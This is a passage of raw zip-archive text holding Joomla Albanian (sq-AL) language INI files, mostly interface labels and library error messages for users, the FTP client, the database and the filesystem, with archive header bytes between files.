      Warning! You must have at least one authentication plugin enabled or you will lose all access to your site."PK@y>\;G[)language/sq-AL/sq-AL.plg_user_profile.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_USER_PROFILE="Përdoruesi - Profili" PLG_USER_PROFILE_FIELD_ABOUT_ME_DESC="Zgjidh nji opsion për fushën Rreth Nesh." PLG_USER_PROFILE_FIELD_ABOUT_ME_LABEL="Rreth Nesh:" PLG_USER_PROFILE_FIELD_ADDRESS1_DESC="Zgjidh nji opsion për fushën Adresa1" PLG_USER_PROFILE_FIELD_ADDRESS1_LABEL="Adresa 1:" PLG_USER_PROFILE_FIELD_ADDRESS2_DESC="Zgjidh nji opsion për fushën Adresa2" PLG_USER_PROFILE_FIELD_ADDRESS2_LABEL="Adresa 2:" PLG_USER_PROFILE_FIELD_CITY_DESC="Zgjidh nji opsion për fushën Qyteti" PLG_USER_PROFILE_FIELD_CITY_LABEL="Qyteti:" PLG_USER_PROFILE_FIELD_COUNTRY_DESC="Zgjidh nji opsion për fushën Vendi" PLG_USER_PROFILE_FIELD_COUNTRY_LABEL="Vendi:" PLG_USER_PROFILE_FIELD_DOB_DESC="Zgjidh nji opsion për fushën Datëlindja" PLG_USER_PROFILE_FIELD_DOB_LABEL="Datëlindja:" PLG_USER_PROFILE_FIELD_FAVORITE_BOOK_DESC="Zgjidh nji opsion për fushën Libri i Preferuem" PLG_USER_PROFILE_FIELD_FAVORITE_BOOK_LABEL="Libri i preferuem:" PLG_USER_PROFILE_FIELD_NAME_PROFILE_REQUIRE_USER="Fushat e profilit të përdoruesit për formularin e ndryshimit të profilit" PLG_USER_PROFILE_FIELD_NAME_REGISTER_REQUIRE_USER="Fushat e profilit të përdoruesit për formularët e regjistrimit dhe administratorit" PLG_USER_PROFILE_FIELD_PHONE_DESC="Zgjidh nji opsion për fushën Telefoni" PLG_USER_PROFILE_FIELD_PHONE_LABEL="Telefoni:" PLG_USER_PROFILE_FIELD_POSTAL_CODE_DESC="Zgjidh nji opsion për fushën Kodi Postar" PLG_USER_PROFILE_FIELD_POSTAL_CODE_LABEL="Kodi postar / ZIP:" PLG_USER_PROFILE_FIELD_REGION_DESC="Zgjidh nji opsion për fushën Rajoni" PLG_USER_PROFILE_FIELD_REGION_LABEL="Rajoni:" PLG_USER_PROFILE_FIELD_TOS_DESC="Pajtohem me kushtet e shërbimit" PLG_USER_PROFILE_FIELD_TOS_LABEL="Kushtet e shërbimit:" PLG_USER_PROFILE_FIELD_WEB_SITE_DESC="Zgjidh nji opsion për fushën Faqja" PLG_USER_PROFILE_FIELD_WEB_SITE_LABEL="Faqja:" PLG_USER_PROFILE_OPTION_AGREE="Pajtohem" PLG_USER_PROFILE_SLIDER_LABEL="Profili i përdoruesit" PLG_USER_PROFILE_XML_DESCRIPTION="Plugini i profilit të përdoruesit" PK@y>\c)Dt"language/sq-AL/sq-AL.mod_login.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_LOGIN="Formulari i hymjes" MOD_LOGIN_FIELD_USESECURE_DESC="Fut t'dhanat e enkriptueme (kërkon SSL). Mos e aktivizo këte opsion nëse Joomla nuk mund të përdoret përmes prefiksit të protokollit https://." MOD_LOGIN_FIELD_USESECURE_LABEL="Enkriptoje formularin e hymjes" MOD_LOGIN_LANGUAGE="Gjuha" MOD_LOGIN_LOGIN="Log in" MOD_LOGIN_XML_DESCRIPTION="This module displays a username and password login form. It should not be unpublished." PK@y>\'[xx/language/sq-AL/sq-AL.plg_content_finder.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_CONTENT_FINDER="Përmbajtja - Kërkim i squet" PLG_CONTENT_FINDER_XML_DESCRIPTION="Aktivizon indeksimin për kërkimin e squet" PK@y>\l\+language/sq-AL/sq-AL.plg_system_p3p.sys.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_P3P_XML_DESCRIPTION="The system P3P policy plugin allows Joomla! to send a customised string of P3P policy tags in the HTTP header. This is required for the sessions to work on certain browsers, i.e. Internet Explorer 6 and 7." PLG_SYSTEM_P3P="System - P3P Policy" PK@y>\ΰ#language/sq-AL/sq-AL.lib_joomla.ininuW+A; Joomla1 sq-AL ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 ; Common boolean values ; Note: YES, NO, TRUE, FALSE are reserved words in INI format. ; Double quotes in the values have to be formatted as "_QQ_" ; Keep this string on top JERROR_PARSING_LANGUAGE_FILE=" : error(s) in line(s) %s" JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN="Access forbidden" JLIB_APPLICATION_ERROR_APPLICATION_GET_NAME="JApplication: :getName() : Can't get or parse class name." JLIB_APPLICATION_ERROR_APPLICATION_LOAD="Unable to load application: %s" JLIB_APPLICATION_ERROR_BATCH_CANNOT_CREATE="You are not allowed to create new items in this category." JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT="You are not allowed to edit one or more of these items." JLIB_APPLICATION_ERROR_BATCH_FAILED="Batch process failed with following error: %s" JLIB_APPLICATION_ERROR_BATCH_MOVE_CATEGORY_NOT_FOUND="Cannot find the destination category for this move." JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND="Cannot find the item being moved." JLIB_APPLICATION_ERROR_CHECKIN_FAILED="Check-in failed with the following error: %s" JLIB_APPLICATION_ERROR_CHECKIN_NOT_CHECKED="Item is not checked out" JLIB_APPLICATION_ERROR_CHECKIN_USER_MISMATCH="The user checking in does not match the user who checked out the item." JLIB_APPLICATION_ERROR_CHECKOUT_FAILED="Check-out failed with the following error: %s" JLIB_APPLICATION_ERROR_CHECKOUT_USER_MISMATCH="The user checking out does not match the user who checked out the item." JLIB_APPLICATION_ERROR_COMPONENT_NOT_FOUND="Component not found" JLIB_APPLICATION_ERROR_COMPONENT_NOT_LOADING="Error loading component: %1$s, %2$s" JLIB_APPLICATION_ERROR_CONTROLLER_GET_NAME="JController: :getName() : Cannot get or parse class name." JLIB_APPLICATION_ERROR_CREATE_RECORD_NOT_PERMITTED="Create record not permitted" JLIB_APPLICATION_ERROR_DELETE_NOT_PERMITTED="Delete not permitted" JLIB_APPLICATION_ERROR_EDITSTATE_NOT_PERMITTED="Edit state is not permitted" JLIB_APPLICATION_ERROR_EDIT_ITEM_NOT_PERMITTED="Edit is not permitted" JLIB_APPLICATION_ERROR_EDIT_NOT_PERMITTED="Edit not permitted" JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION="Insufficient information to perform the batch operation" JLIB_APPLICATION_ERROR_INVALID_CONTROLLER_CLASS="Invalid controller class: %s" JLIB_APPLICATION_ERROR_INVALID_CONTROLLER="Invalid controller: name='%s', format='%s'" JLIB_APPLICATION_ERROR_LAYOUTFILE_NOT_FOUND="Layout %s not found" JLIB_APPLICATION_ERROR_MODEL_GET_NAME="JModel: :getName() : Can't get or parse class name." JLIB_APPLICATION_ERROR_MODULE_LOAD="Error loading module %s" JLIB_APPLICATION_ERROR_PATHWAY_LOAD="Unable to load pathway: %s" JLIB_APPLICATION_ERROR_REORDER_FAILED="Reorder failed. Error: %s" JLIB_APPLICATION_ERROR_ROUTER_LOAD="Unable to load router: %s" JLIB_APPLICATION_ERROR_MODELCLASS_NOT_FOUND="Model class %s not found in file" JLIB_APPLICATION_ERROR_SAVE_FAILED="Save failed with the following error: %s" JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED="Save not permitted" JLIB_APPLICATION_ERROR_TABLE_NAME_NOT_SUPPORTED="Table %s not supported. File not found." JLIB_APPLICATION_ERROR_TASK_NOT_FOUND="Task [%s] not found" JLIB_APPLICATION_ERROR_UNHELD_ID="You are not permitted to use that link to directly access that page (#%d)." JLIB_APPLICATION_ERROR_VIEW_CLASS_NOT_FOUND="View class not found [class, file]: %1$s, %2$s" JLIB_APPLICATION_ERROR_VIEW_GET_NAME_SUBSTRING="JView: :getName() : Your classname contains the substring 'view'. This causes problems when extracting the classname from the name of your objects view. Avoid Object names with the substring 'view'." JLIB_APPLICATION_ERROR_VIEW_GET_NAME="JView: :getName() : Cannot get or parse class name." JLIB_APPLICATION_ERROR_VIEW_NOT_FOUND="View not found [name, type, prefix]: %1$s, %2$s, %3$s" JLIB_APPLICATION_SAVE_SUCCESS="Item successfully saved." JLIB_APPLICATION_SUBMIT_SAVE_SUCCESS="Item successfully submitted." JLIB_APPLICATION_SUCCESS_BATCH="Batch process completed successfully." JLIB_APPLICATION_SUCCESS_ITEM_REORDERED="Ordering successfully saved." JLIB_APPLICATION_SUCCESS_ORDERING_SAVED="Ordering successfully saved." JLIB_LOGIN_AUTHENTICATE="Username and password do not match or you do not have an account yet." JLIB_CACHE_ERROR_CACHE_HANDLER_LOAD="Unable to load Cache Handler: %s" JLIB_CACHE_ERROR_CACHE_STORAGE_LOAD="Unable to load Cache Storage: %s" JLIB_CAPTCHA_ERROR_PLUGIN_NOT_FOUND="Captcha plugin not set or not found. Please contact a site administrator" JLIB_CLIENT_ERROR_JFTP_NO_CONNECT="JFTP: :connect: Could not connect to host ' %1$s ' on port ' %2$s '" JLIB_CLIENT_ERROR_JFTP_NO_CONNECT_SOCKET="JFTP: :connect: Could not connect to host ' %1$s ' on port ' %2$s '. Socket error number: %3$s and error message: %4$s" JLIB_CLIENT_ERROR_JFTP_BAD_RESPONSE="JFTP: :connect: Bad response. Server response: %s [Expected: 220]" JLIB_CLIENT_ERROR_JFTP_BAD_USERNAME="JFTP: :login: Bad Username. Server response: %1$s [Expected: 331]. Username sent: %2$s" JLIB_CLIENT_ERROR_JFTP_BAD_PASSWORD="JFTP: :login: Bad Password. Server response: %1$s [Expected: 230]. Password sent: %2$s" JLIB_CLIENT_ERROR_JFTP_PWD_BAD_RESPONSE_NATIVE="FTP: :pwd: Bad response" JLIB_CLIENT_ERROR_JFTP_PWD_BAD_RESPONSE="JFTP: :pwd: Bad response. Server response: %s [Expected: 257]" JLIB_CLIENT_ERROR_JFTP_SYST_BAD_RESPONSE_NATIVE="JFTP: :syst: Bad response" JLIB_CLIENT_ERROR_JFTP_SYST_BAD_RESPONSE="JFTP: :syst: Bad response. Server response: %s [Expected: 215]" JLIB_CLIENT_ERROR_JFTP_CHDIR_BAD_RESPONSE_NATIVE="JFTP: :chdir: Bad response" JLIB_CLIENT_ERROR_JFTP_CHDIR_BAD_RESPONSE="JFTP: :chdir: Bad response. Server response: %1$s [Expected: 250]. Path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_REINIT_BAD_RESPONSE_NATIVE="JFTP: :reinit: Bad response" JLIB_CLIENT_ERROR_JFTP_REINIT_BAD_RESPONSE="JFTP: :reinit: Bad response. Server response: %s [Expected: 220]" JLIB_CLIENT_ERROR_JFTP_RENAME_BAD_RESPONSE_NATIVE="JFTP: :rename: Bad response" JLIB_CLIENT_ERROR_JFTP_RENAME_BAD_RESPONSE_FROM="JFTP: :rename: Bad response. Server response: %1$s [Expected: 350]. From path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_RENAME_BAD_RESPONSE_TO="JFTP: :rename: Bad response. Server response: %1$s [Expected: 250]. To path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_CHMOD_BAD_RESPONSE_NATIVE="JFTP: :chmod: Bad response" JLIB_CLIENT_ERROR_JFTP_CHMOD_BAD_RESPONSE="JFTP: :chmod: Bad response. Server response: %1$s [Expected: 250]. Path sent: %2$s. Mode sent: %3$s" JLIB_CLIENT_ERROR_JFTP_DELETE_BAD_RESPONSE_NATIVE="JFTP: :delete: Bad response" JLIB_CLIENT_ERROR_JFTP_DELETE_BAD_RESPONSE="JFTP: :delete: Bad response. Server response: %1$s [Expected: 250]. Path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_MKDIR_BAD_RESPONSE_NATIVE="JFTP: :mkdir: Bad response" JLIB_CLIENT_ERROR_JFTP_MKDIR_BAD_RESPONSE="JFTP: :mkdir: Bad response. Server response: %1$s [Expected: 257]. Path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_RESTART_BAD_RESPONSE_NATIVE="JFTP: :restart: Bad response" JLIB_CLIENT_ERROR_JFTP_RESTART_BAD_RESPONSE="JFTP: :restart: Bad response. Server response: %1$s [Expected: 350]. Restart point sent: %2$s" JLIB_CLIENT_ERROR_JFTP_CREATE_BAD_RESPONSE_BUFFER="JFTP: :create: Bad response" JLIB_CLIENT_ERROR_JFTP_CREATE_BAD_RESPONSE_PASSIVE="JFTP: :create: Unable to use passive mode" JLIB_CLIENT_ERROR_JFTP_CREATE_BAD_RESPONSE="JFTP: :create: Bad response. Server response: %1$s [Expected: 150 or 125]. Path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_CREATE_BAD_RESPONSE_TRANSFER="JFTP: :create: Transfer Failed. Server response: %1$s [Expected: 226]. Path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_READ_BAD_RESPONSE_BUFFER="JFTP: :read: Bad response" JLIB_CLIENT_ERROR_JFTP_READ_BAD_RESPONSE_PASSIVE="JFTP: :read: Unable to use passive mode" JLIB_CLIENT_ERROR_JFTP_READ_BAD_RESPONSE="JFTP: :read: Bad response. Server response: %1$s [Expected: 150 or 125]. Path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_READ_BAD_RESPONSE_TRANSFER="JFTP: :read: Transfer Failed. Server response: %1$s [Expected: 226]. Path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_GET_BAD_RESPONSE="JFTP: :get: Bad response" JLIB_CLIENT_ERROR_JFTP_GET_PASSIVE="JFTP: :get: Unable to use passive mode" JLIB_CLIENT_ERROR_JFTP_GET_WRITING_LOCAL="JFTP: :get: Unable to open local file for writing. Local path: %s" JLIB_CLIENT_ERROR_JFTP_GET_BAD_RESPONSE_RETR="JFTP: :get: Bad response. Server response: %1$s [Expected: 150 or 125]. Path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_GET_BAD_RESPONSE_TRANSFER="JFTP: :get: Transfer Failed. Server response: %1$s [Expected: 226]. Path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_STORE_PASSIVE="JFTP: :store: Unable to use passive mode" JLIB_CLIENT_ERROR_JFTP_STORE_BAD_RESPONSE="JFTP: :store: Bad response" JLIB_CLIENT_ERROR_JFTP_STORE_READING_LOCAL="JFTP: :store: Unable to open local file for reading. Local path: %s" JLIB_CLIENT_ERROR_JFTP_STORE_FIND_LOCAL="JFTP: :store: Unable to find local file. Local path: %s" JLIB_CLIENT_ERROR_JFTP_STORE_BAD_RESPONSE_STOR="JFTP: :store: Bad response. Server response: %1$s [Expected: 150 or 125]. Path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_STORE_DATA_PORT="JFTP: :store: Unable to write to data port socket" JLIB_CLIENT_ERROR_JFTP_STORE_BAD_RESPONSE_TRANSFER="JFTP: :store: Transfer Failed. Server response: %1$s [Expected: 226]. Path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_WRITE_PASSIVE="JFTP: :write: Unable to use passive mode" JLIB_CLIENT_ERROR_JFTP_WRITE_BAD_RESPONSE="JFTP: :write: Bad response" JLIB_CLIENT_ERROR_JFTP_WRITE_BAD_RESPONSE_STOR="JFTP: :write: Bad response. Server response: %1$s [Expected: 150 or 125]. Path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_WRITE_DATA_PORT="JFTP: :write: Unable to write to data port socket" JLIB_CLIENT_ERROR_JFTP_WRITE_BAD_RESPONSE_TRANSFER="JFTP: :write: Transfer Failed. Server response: %1$s [Expected: 226]. Path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_LISTNAMES_PASSIVE="JFTP: :listNames: Unable to use passive mode" JLIB_CLIENT_ERROR_JFTP_LISTNAMES_BAD_RESPONSE="JFTP: :listNames: Bad response" JLIB_CLIENT_ERROR_JFTP_LISTNAMES_BAD_RESPONSE_NLST="JFTP: :listNames: Bad response. Server response: %1$s [Expected: 150 or 125]. Path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_LISTNAMES_BAD_RESPONSE_TRANSFER="JFTP: :listNames: Transfer Failed. Server response: %1$s [Expected: 226]. Path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_LISTDETAILS_BAD_RESPONSE="JFTP: :listDetails: Bad response" JLIB_CLIENT_ERROR_JFTP_LISTDETAILS_PASSIVE="JFTP: :listDetails: Unable to use passive mode" JLIB_CLIENT_ERROR_JFTP_LISTDETAILS_BAD_RESPONSE_LIST="JFTP: :listDetails: Bad response. Server response: %1$s [Expected: 150 or 125]. Path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_LISTDETAILS_BAD_RESPONSE_TRANSFER="JFTP: :listDetails: Transfer Failed. Server response: %1$s [Expected: 226]. Path sent: %2$s" JLIB_CLIENT_ERROR_JFTP_LISTDETAILS_UNRECOGNISED="JFTP: :listDetails: Unrecognised directory listing format" JLIB_CLIENT_ERROR_JFTP_PUTCMD_UNCONNECTED="JFTP: :_putCmd: Not connected to the control port" JLIB_CLIENT_ERROR_JFTP_PUTCMD_SEND="JFTP: :_putCmd: Unable to send command: %s" JLIB_CLIENT_ERROR_JFTP_VERIFYRESPONSE="JFTP: :_verifyResponse: Timeout or unrecognised response while waiting for a response from the server. Server response: %s" JLIB_CLIENT_ERROR_JFTP_PASSIVE_CONNECT_PORT="JFTP: :_passive: Not connected to the control port" JLIB_CLIENT_ERROR_JFTP_PASSIVE_RESPONSE="JFTP: :_passive: Timeout or unrecognised response while waiting for a response from the server. Server response: %s" JLIB_CLIENT_ERROR_JFTP_PASSIVE_IP_OBTAIN="JFTP: :_passive: Unable to obtain IP and port for data transfer. Server response: %s" JLIB_CLIENT_ERROR_JFTP_PASSIVE_IP_VALID="JFTP: :_passive: IP and port for data transfer not valid. Server response: %s" JLIB_CLIENT_ERROR_JFTP_PASSIVE_CONNECT="JFTP: :_passive: Could not connect to host %1$s on port %2$s. Socket error number: %3$s and error message: %4$s" JLIB_CLIENT_ERROR_JFTP_MODE_BINARY="JFTP: :_mode: Bad response. Server response: %s [Expected: 200]. Mode sent: Binary" JLIB_CLIENT_ERROR_JFTP_MODE_ASCII="JFTP: :_mode: Bad response. Server response: %s [Expected: 200]. Mode sent: Ascii" JLIB_CLIENT_ERROR_HELPER_SETCREDENTIALSFROMREQUEST_FAILED="Looks like User's credentials are no good..." JLIB_CLIENT_ERROR_LDAP_ADDRESS_NOT_AVAILABLE="Address not available." JLIB_DATABASE_ERROR_ADAPTER_MYSQL="The MySQL adapter 'mysql' is not available." JLIB_DATABASE_ERROR_ADAPTER_MYSQLI="The MySQL adapter 'mysqli' is not available." JLIB_DATABASE_ERROR_ANCESTOR_NODES_LOWER_STATE="Cannot change the published state when the parent item is of a lesser state." JLIB_DATABASE_ERROR_BIND_FAILED_INVALID_SOURCE_ARGUMENT="%s: :bind failed. Invalid source argument." JLIB_DATABASE_ERROR_ARTICLE_UNIQUE_ALIAS="Another article from this category has the same alias" JLIB_DATABASE_ERROR_CATEGORY_UNIQUE_ALIAS="Another category with the same parent category has the same alias" JLIB_DATABASE_ERROR_CHECK_FAILED="%s: :check Failed - %s" JLIB_DATABASE_ERROR_CHECKIN_FAILED="%s: :checkIn failed - %s" JLIB_DATABASE_ERROR_CHECKOUT_FAILED="%s: :checkOut failed - %s" JLIB_DATABASE_ERROR_CHILD_ROWS_CHECKED_OUT="Child rows checked out." JLIB_DATABASE_ERROR_CLASS_DOES_NOT_SUPPORT_ORDERING="%s does not support ordering." JLIB_DATABASE_ERROR_CLASS_IS_MISSING_FIELD="Missing field in the database: %s   %s." JLIB_DATABASE_ERROR_CLASS_NOT_FOUND_IN_FILE="Table class %s not found in file." JLIB_DATABASE_ERROR_CONNECT_DATABASE="Unable to connect to the Database: %s" JLIB_DATABASE_ERROR_CONNECT_MYSQL="Could not connect to MySQL." JLIB_DATABASE_ERROR_DATABASE_CONNECT="Could not connect to database" JLIB_DATABASE_ERROR_DELETE_CATEGORY="Left-Right data inconsistency. Cannot delete category." JLIB_DATABASE_ERROR_DELETE_FAILED="%s: :delete failed - %s" JLIB_DATABASE_ERROR_DELETE_ROOT_CATEGORIES="Root categories cannot be deleted." JLIB_DATABASE_ERROR_EMAIL_INUSE="This email is already registered." JLIB_DATABASE_ERROR_EMPTY_ROW_RETURNED="The database row is empty." JLIB_DATABASE_ERROR_FUNCTION_FAILED="DB function failed with error number %s
      %s" JLIB_DATABASE_ERROR_GET_NEXT_ORDER_FAILED="%s: :getNextOrder failed - %s" JLIB_DATABASE_ERROR_GET_TREE_FAILED="%s: :getTree Failed - %s" JLIB_DATABASE_ERROR_GETNODE_FAILED="%s: :_getNode Failed - %s" JLIB_DATABASE_ERROR_GETROOTID_FAILED="%s: :getRootId Failed - %s" JLIB_DATABASE_ERROR_HIT_FAILED="%s: :hit failed - %s" JLIB_DATABASE_ERROR_INVALID_LOCATION="%s: :setLocation - Invalid location" JLIB_DATABASE_ERROR_INVALID_NODE_RECURSION="%s: :move Failed - Cannot move the node to be a child of itself" JLIB_DATABASE_ERROR_INVALID_PARENT_ID="Invalid parent ID." JLIB_DATABASE_ERROR_LANGUAGE_NO_TITLE="The language should have a title" JLIB_DATABASE_ERROR_LANGUAGE_UNIQUE_IMAGE="A content language already exists with this Image Prefix" JLIB_DATABASE_ERROR_LANGUAGE_UNIQUE_LANG_CODE="A content language already exists with this Language Tag" JLIB_DATABASE_ERROR_LANGUAGE_UNIQUE_SEF="A content language already exists with this URL Language Code" JLIB_DATABASE_ERROR_LOAD_DATABASE_DRIVER="Unable to load Database Driver: %s" JLIB_DATABASE_ERROR_MENUTYPE_EMPTY="Menu type empty" JLIB_DATABASE_ERROR_MENUTYPE_EXISTS="Menu type exists: %s" JLIB_DATABASE_ERROR_MENUTYPE="Some menu items or some menu modules related to this menutype are checked out by another user or the default menu item is in this menu" JLIB_DATABASE_ERROR_MENU_CANNOT_UNSET_DEFAULT="The Language parameter for this menu item must be set to 'All'. At least one Default menu item must have Language set to All, even if the site is multilingual." JLIB_DATABASE_ERROR_MENU_CANNOT_UNSET_DEFAULT_DEFAULT="At least one menu item has to be set as Default." JLIB_DATABASE_ERROR_MENU_UNPUBLISH_DEFAULT_HOME="Cannot unpublish default home" JLIB_DATABASE_ERROR_MENU_DEFAULT_CHECKIN_USER_MISMATCH="The current home menu for this language is checked out" JLIB_DATABASE_ERROR_MENU_UNIQUE_ALIAS="Another menu item with the same parent has this alias" JLIB_DATABASE_ERROR_MENU_UNIQUE_ALIAS_ROOT="Another menu item has the same alias in Root. Root is the top level parent" JLIB_DATABASE_ERROR_MENU_HOME_NOT_COMPONENT="The home menu item must be a component." JLIB_DATABASE_ERROR_MENU_HOME_NOT_UNIQUE_IN_MENU="A menu should contain only one Default home." JLIB_DATABASE_ERROR_MENU_ROOT_ALIAS_COMPONENT="A first level menu item alias cannot be 'component'." JLIB_DATABASE_ERROR_MENU_ROOT_ALIAS_FOLDER="A first level menu item alias cannot be '%s' because '%s' is a sub-folder of your joomla installation folder." JLIB_DATABASE_ERROR_MOVE_FAILED="%s: :move failed - %s" JLIB_DATABASE_ERROR_MUSTCONTAIN_A_TITLE_CATEGORY="Kategoria duhet me pasë titull" JLIB_DATABASE_ERROR_MUSTCONTAIN_A_TITLE_EXTENSION="Extension must have a title" JLIB_DATABASE_ERROR_MUSTCONTAIN_A_TITLE_MODULE="Moduli duhet me pasë titull" JLIB_DATABASE_ERROR_NEGATIVE_NOT_PERMITTED="%s cannot be negative" JLIB_DATABASE_ERROR_NO_ROWS_SELECTED="No rows selected." JLIB_DATABASE_ERROR_NOT_SUPPORTED_FILE_NOT_FOUND="Table %s not supported. File not found." JLIB_DATABASE_ERROR_NULL_PRIMARY_KEY="Null primary key not allowed." JLIB_DATABASE_ERROR_ORDERDOWN_FAILED="%s: :orderDown Failed - %s" JLIB_DATABASE_ERROR_ORDERUP_FAILED="%s: :orderUp Failed - %s" JLIB_DATABASE_ERROR_PLEASE_ENTER_A_USER_NAME="Please enter a user name." JLIB_DATABASE_ERROR_PLEASE_ENTER_YOUR_NAME="Please enter your name." JLIB_DATABASE_ERROR_PUBLISH_FAILED="%s: :publish failed - %s" JLIB_DATABASE_ERROR_REBUILD_FAILED="%s: :rebuild Failed - %s" JLIB_DATABASE_ERROR_REBUILDPATH_FAILED="%s: :rebuildPath Failed - %s" JLIB_DATABASE_ERROR_REORDER_FAILED="%s: :reorder failed - %s" JLIB_DATABASE_ERROR_REORDER_UPDATE_ROW_FAILED="%s: :reorder update the row %s failed - %s" JLIB_DATABASE_ERROR_ROOT_NODE_NOT_FOUND="Root node not found." JLIB_DATABASE_ERROR_STORE_FAILED_UPDATE_ASSET_ID="The asset_id field could not be updated" JLIB_DATABASE_ERROR_STORE_FAILED="%1$s: :store failed
      %2$s" JLIB_DATABASE_ERROR_USERGROUP_TITLE="Usergroup must have a title" JLIB_DATABASE_ERROR_USERGROUP_TITLE_EXISTS="Usergroup title already exists. Title must be unique with the same parent." JLIB_DATABASE_ERROR_USERNAME_CANNOT_CHANGE="Cannot use this user name" JLIB_DATABASE_ERROR_USERNAME_INUSE="User name in use" JLIB_DATABASE_ERROR_VALID_AZ09="Please enter a valid username. No spaces, at least %d characters and must not contain the following characters: < > \ "_QQ_" ' % ; ( ) &" JLIB_DATABASE_ERROR_VALID_MAIL="Please enter a valid email address." JLIB_DATABASE_ERROR_VIEWLEVEL="Viewlevel must have a title" JLIB_DATABASE_FUNCTION_NOERROR="DB function reports no errors" JLIB_DOCUMENT_ERROR_UNABLE_LOAD_DOC_CLASS="Unable to load document class" JLIB_ENVIRONMENT_SESSION_EXPIRED="Sesioni të ka mbarue. Hyn prap." JLIB_ERROR_INFINITE_LOOP="Infinite loop detected in JError" JLIB_EVENT_ERROR_DISPATCHER="JDispatcher: :register: Event handler not recognised. Handler: %s" JLIB_FILESYSTEM_BZIP_NOT_SUPPORTED="BZip2 Not Supported" JLIB_FILESYSTEM_BZIP_UNABLE_TO_READ="Unable to read archive (bz2)" JLIB_FILESYSTEM_BZIP_UNABLE_TO_WRITE="Unable to write archive (bz2)" JLIB_FILESYSTEM_BZIP_UNABLE_TO_WRITE_FILE="Unable to write file (bz2)" JLIB_FILESYSTEM_GZIP_NOT_SUPPORTED="GZlib Not Supported" JLIB_FILESYSTEM_GZIP_UNABLE_TO_READ="Unable to read archive (gz)" JLIB_FILESYSTEM_GZIP_UNABLE_TO_WRITE="Unable to write archive (gz)" JLIB_FILESYSTEM_GZIP_UNABLE_TO_WRITE_FILE="Unable to write file (gz)" JLIB_FILESYSTEM_GZIP_UNABLE_TO_DECOMPRESS="Unable to decompress data" JLIB_FILESYSTEM_TAR_UNABLE_TO_READ="Unable to read archive (tar)" JLIB_FILESYSTEM_TAR_UNABLE_TO_DECOMPRESS="Unable to decompress data" JLIB_FILESYSTEM_TAR_UNABLE_TO_CREATE_DESTINATION="Unable to create destination" JLIB_FILESYSTEM_TAR_UNABLE_TO_WRITE_ENTRY="Unable to write entry" JLIB_FILESYSTEM_ZIP_NOT_SUPPORTED="Zlib Not Supported" JLIB_FILESYSTEM_ZIP_UNABLE_TO_READ="Unable to read archive (zip)" JLIB_FILESYSTEM_ZIP_INFO_FAILED="Get ZIP Information failed" JLIB_FILESYSTEM_ZIP_UNABLE_TO_CREATE_DESTINATION="Unable to create destination" JLIB_FILESYSTEM_ZIP_UNABLE_TO_WRITE_ENTRY="Unable to write entry" JLIB_FILESYSTEM_ZIP_UNABLE_TO_READ_ENTRY="Unable to read entry" JLIB_FILESYSTEM_ZIP_UNABLE_TO_OPEN_ARCHIVE="Unable to open archive" JLIB_FILESYSTEM_ZIP_INVALID_ZIP_DATA="Invalid ZIP data" JLIB_FILESYSTEM_STREAM_FAILED="Failed to register string stream" JLIB_FILESYSTEM_UNKNOWNARCHIVETYPE="Lloj i panjohun arkivi" JLIB_FILESYSTEM_UNABLE_TO_LOAD_ARCHIVE="Unable to load archive" JLIB_FILESYSTEM_ERROR_JFILE_FIND_COPY="JFile: :copy: Cannot find or read file: $%s" JLIB_FILESYSTEM_ERROR_JFILE_STREAMS="JFile: :copy(%1$s, %2$s): %3$s" JLIB_FILESYSTEM_ERROR_COPY_FAILED="Copy failed" JLIB_FILESYSTEM_DELETE_FAILED="Failed deleting %s" JLIB_FILESYSTEM_CANNOT_FIND_SOURCE_FILE="Cannot find source file" JLIB_FILESYSTEM_ERROR_JFILE_MOVE_STREAMS="JFile: :move: %s" JLIB_FILESYSTEM_ERROR_RENAME_FILE="Rename failed" JLIB_FILESYSTEM_ERROR_READ_UNABLE_TO_OPEN_FILE="JFile: :read: Unable to open file: %s" JLIB_FILESYSTEM_ERROR_WRITE_STREAMS="JFile: :write(%1$s): %2$s" JLIB_FILESYSTEM_ERROR_UPLOAD="JFile: :upload: %s" JLIB_FILESYSTEM_ERROR_WARNFS_ERR01="Paralajmërim: s'i ndërroi lejet e dokumentit." JLIB_FILESYSTEM_ERROR_WARNFS_ERR02="Paralajmërim: s'e lëvizi 